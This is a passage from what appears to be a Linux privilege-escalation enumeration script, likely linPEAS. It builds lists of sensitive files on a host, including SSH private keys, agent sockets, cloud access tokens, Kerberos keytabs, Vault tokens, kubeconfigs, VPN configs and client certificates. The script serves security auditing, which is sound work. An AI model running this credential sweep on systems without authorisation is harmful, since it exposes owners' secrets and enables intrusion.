"$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "supervisord\.conf$" | sort | uniq | head -n 70) + PSTORAGE_CESI=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "cesi\.conf$" | sort | uniq | head -n 70) + PSTORAGE_RSYNC=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "rsyncd\.conf$|rsyncd\.secrets$" | sort | uniq | head -n 70) + PSTORAGE_HOSTAPD=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "hostapd\.conf$" | sort | uniq | head -n 70) + PSTORAGE_WIFI_CONNECTIONS=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/etc" | grep -E "system-connections$" | sort | uniq | head -n 70) + PSTORAGE_PAM_AUTH=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/etc" | grep -E "pam\.d$" | sort | uniq | head -n 70) + PSTORAGE_NFS_EXPORTS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/etc" | grep -E "exports$" | sort | uniq | head -n 70) + PSTORAGE_GLUSTERFS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "glusterfs\.pem$|glusterfs\.ca$|glusterfs\.key$" | sort | uniq | head -n 70) + PSTORAGE_ANACONDA_KS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "anaconda-ks\.cfg$" | sort | uniq | head -n 70) + PSTORAGE_RACOON=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "racoon\.conf$|psk\.txt$" | sort | uniq | head -n 70) + PSTORAGE_KUBERNETES=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "kubeconfig$|kubelet-kubeconfig$|psk\.txt$|\.kube.*$|kubelet$|kube-proxy$|kubernetes$" | sort | uniq | head -n 70) + PSTORAGE_VNC=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.vnc$|.*vnc.*\.c.*nf.*$|.*vnc.*\.ini$|.*vnc.*\.txt$|.*vnc.*\.xml$" | sort | uniq | head -n 70) + PSTORAGE_LDAP=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "ldap$" | sort | uniq | head -n 70) + PSTORAGE_LOG4SHELL=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/snap|^/lib32|^/.cache|^/cdrom|^/lib64|^/srv|^/etc|^/usr|^/tmp|^/media|^/private|^/applications|^/bin|^/lib|^/opt|^/sbin|^$GREPHOMESEARCH|^/mnt" | grep -E "log4j-core.*\.jar$" | sort | uniq | head -n 70) + PSTORAGE_OPENVPN=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.ovpn$" | sort | uniq | head -n 70) + PSTORAGE_SSH=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "id_dsa.*$|id_rsa.*$|known_hosts$|authorized_hosts$|authorized_keys$" | sort | uniq | head -n 70) + PSTORAGE_CERTSB4=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib.*' | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.pem$|.*\.cer$|.*\.crt$" | sort | uniq | head -n 70) + PSTORAGE_CERTSBIN=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.csr$|.*\.der$" | sort | uniq | head -n 70) + PSTORAGE_CERTSCLIENT=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.pfx$|.*\.p12$" | sort | uniq | head -n 70) + PSTORAGE_SSH_AGENTS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/tmp" | grep -E "agent.*$" | sort | uniq | head -n 70) + PSTORAGE_SSH_CONFIG=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^$GREPHOMESEARCH|^/usr" | grep -E "ssh.*config$" | sort | uniq | head -n 70) + PSTORAGE_CLOUD_CREDENTIALS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "credentials\.db$|legacy_credentials\.db$|access_tokens\.db$|access_tokens\.json$|accessTokens\.json$|azureProfile\.json$|TokenCache\.dat$|AzureRMContext\.json$|\.bluemix$" | sort | uniq | head -n 70) + PSTORAGE_KERBEROS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "krb5\.conf$|.*\.keytab$|\.k5login$|kadm5\.acl$|secrets\.ldb$|\.secrets\.mkey$|sssd\.conf$" | sort | uniq | head -n 70) + PSTORAGE_KIBANA=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "kibana\.y.*ml$" | sort | uniq | head -n 70) + PSTORAGE_KNOCKD=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E '/etc/init.d/' | grep -E "^/etc" | grep -E ".*knockd.*$" | sort | uniq | head -n 70) + PSTORAGE_LOGSTASH=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "logstash$" | sort | uniq | head -n 70) + PSTORAGE_ELASTICSEARCH=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "elasticsearch\.y.*ml$" | sort | uniq | head -n 70) + PSTORAGE_VAULT_SSH_HELPER=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "vault-ssh-helper\.hcl$" | sort | uniq | head -n 70) + PSTORAGE_VAULT_SSH_TOKEN=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.vault-token$" | sort | uniq | head -n 70) + PSTORAGE_COUCHDB=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "couchdb$" | sort | uniq | head -n 70) + PSTORAGE_REDIS=$(echo -e 